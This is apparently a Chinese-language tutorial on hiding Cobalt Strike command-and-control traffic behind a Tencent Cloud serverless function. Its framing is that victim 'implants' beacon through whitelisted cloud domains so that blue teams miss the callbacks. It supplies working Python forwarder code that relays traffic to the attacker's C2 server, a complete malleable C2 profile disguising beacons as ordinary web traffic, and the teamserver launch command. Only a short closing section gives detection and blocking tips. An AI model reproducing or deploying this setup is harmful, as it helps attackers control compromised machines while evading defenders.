核心思想 核心思想其实很简单,就是用第三方提供的服务接收 C2 客户端的流量,转发给 C2 服务端,避免直接暴露服务端,也可以用加白的域名混淆视听避免蓝队人员发现攻击和反连行为
1 2 3 4 5 运行木马 收到上线包 ┌─────▼─────┐ ┌─────▼─────┐ ┌──────▼───────┐ │ 受害主机 │--发送上线包->│ 国内某公有 |---上线包->│ Cobalt Strike│ │ │<-执行命令----│ 函数转发 │<-执行命令-│ 服务器 | └───────────┘ └───────────┘ └──────────────┘
第三方服务最好具备以下特点:
国内外访问速度都很快
国外厂商
价格便宜(有钱可以忽略)
主动提供免费加速域名(同上)
云函数配置 首先进入腾讯云创建一个自定义函数,运行环境选 python,将下面的代码复制进函数代码中(记得改 C2 地址为我们自己的 C2 地址)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import json,requests,base64def main_handler (event, context ): response = {} path = None headers = None try : C2='http://c2ip' if 'path' in event.keys(): path=event['path' ] if 'headers' in event.keys(): headers=event['headers' ] if 'httpMethod' in event.keys() and event['httpMethod' ] == 'GET' : resp=requests.get(C2+path,headers=headers,verify=False ) else : resp=requests.post(C2+path,data=event['body' ],headers=headers,verify=False ) print (resp.headers) print (resp.content) response={ "isBase64Encoded" : True , "statusCode" : resp.status_code, "headers" : dict (resp.headers), "body" : str (base64.b64encode(resp.content))[2 :-1 ] } except Exception as e: print ('error' ) print (e) finally : return response
然后进入触发器中创建一个触发器。选择触发器版本为$LATEST,触发方式为API网关触发,开启集成响应。
然后点击 API 服务名进入 API 网关页面进行配置,这里仅修改路径为/就可以,其他配置不用动
然后点击立即完成,发布任务即可
此时我们便可以使用生成的公网域名中的 http 域名进行上线了
C2 配置 接下来我们要编译一个 CS 的 profile 文件,我们要通过这个文件对我们的包内容进行配置来进行收发包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 set sample_name "func"; set sleeptime "3000"; set jitter "0"; set maxdns "255"; set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)"; http-get { set uri "/api/x"; client { header "Accept" "*/*"; metadata { base64; prepend "SESSIONID="; header "Cookie"; } } server { header "Content-Type" "application/ocsp-response"; header "content-transfer-encoding" "binary"; header "Server" "Nodejs"; output { base64; print; } } } http-stager { set uri_x86 "/vue.min.js"; set uri_x64 "/bootstrap-2.min.js"; } http-post { set uri "/api/y"; client { header "Accept" "*/*"; id { base64; prepend "JSESSION="; header "Cookie"; } output { base64; print; } } server { header "Content-Type" "application/ocsp-response"; header "content-transfer-encoding" "binary"; header "Connection" "keep-alive"; output { base64; print; } } }
CS 还有一个自带的 c2lint 工具可以帮助我们检验 profile 文件的内容是否正确
接下来用命令启动 CS
1 ./teamserver ip passwd xxx.profile
设置监听器,这里要注意端口为80,host为我们刚刚在API网关中的地址,注意需要删除前面的http及后面的:80
至于防护思路倒是也蛮简单的:
监测疑似 CS 马的攻击流量,例如请求 /pixel,/__utm.gif,/ga.js 等类似 URL 的流量进行重点监测,或者使用微步在线情报识别 CS 马的外联地址
确认自己资产中是否有某云的云函数的正常业务,没有的话直接把*.apigw.#######cs.com
这样的子域名封了就好